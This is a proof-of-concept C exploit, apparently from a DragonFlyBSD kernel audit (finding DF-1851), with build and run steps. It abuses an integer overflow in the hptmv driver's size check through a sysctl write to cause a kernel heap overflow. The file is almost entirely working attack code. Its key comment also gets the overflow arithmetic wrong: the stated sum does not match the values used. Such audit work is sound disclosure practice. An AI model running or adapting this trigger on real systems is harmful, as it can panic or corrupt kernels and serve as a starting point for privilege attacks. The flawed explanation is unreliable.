DragonFlyBSD Kernel Audit
DF-1851 / poc_hptmv_heapoverflow.c
← back to finding ↓ download raw
/*
 * DF-1851 trigger: 32-bit integer overflow in hptmv HPT_IOCTL_PARAM
 * size check -> kernel heap overflow via sysctl hptmv.status write.
 *
 * Requires: device hptmv loaded, root (SYSCAP_NOSYSCTL_WR).
 * Build:  cc -o poc_hptmv_heapoverflow poc_hptmv_heapoverflow.c
 * Run:    sudo ./poc_hptmv_heapoverflow
 */
#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

#pragma pack(push,8)
struct hpt_ioctl_param {
    unsigned int  Magic;            /* 0   */
    unsigned int  dwIoControlCode;  /* 4   */
    void         *lpInBuffer;       /* 8   */
    unsigned int  nInBufferSize;    /* 16  */
    void         *lpOutBuffer;      /* 24  */
    unsigned int  nOutBufferSize;   /* 32  */
    unsigned int *lpBytesReturned;  /* 40  */
};                          /* sizeof == 48 */
#pragma pack(pop)

#define HPT_IOCTL_MAGIC 0xA1B2C3D4U

int main(void) {
    int mib[4]; size_t miblen = 4;
    if (sysctlnametomib("hptmv.status", mib, &miblen) < 0) {
        perror("sysctlnametomib(hptmv.status) -- is the hptmv module loaded?");
        return 1;
    }

    /* 4096 bytes of attacker-controlled input, all mapped. */
    char *in = mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANON, -1, 0);
    if (in == MAP_FAILED) { perror("mmap"); return 1; }
    memset(in, 'A', 4096);

    char out[16];
    /* nIn=4095, nOut=0xFFFFF001 => 32-bit sum = 0x100000001 -> 1, bypasses check.
     * kmalloc(1) returns a tiny slab; copyin(in, ke_area, 4095) overflows it. */
    struct hpt_ioctl_param p;
    memset(&p, 0, sizeof(p));
    p.Magic            = HPT_IOCTL_MAGIC;
    p.dwIoControlCode  = 0;
    p.lpInBuffer       = in;
    p.nInBufferSize    = 4095;
    p.lpOutBuffer      = out;
    p.nOutBufferSize   = 0xFFFFF001U;
    p.lpBytesReturned  = NULL;

    if (sysctl(mib, miblen, NULL, 0, &p, sizeof(p)) < 0)
        perror("sysctl write returned (kernel likely panicked mid-copy)");
    printf("survived -- if you see this, check dmesg for slab corruption\n");
    return 0;
}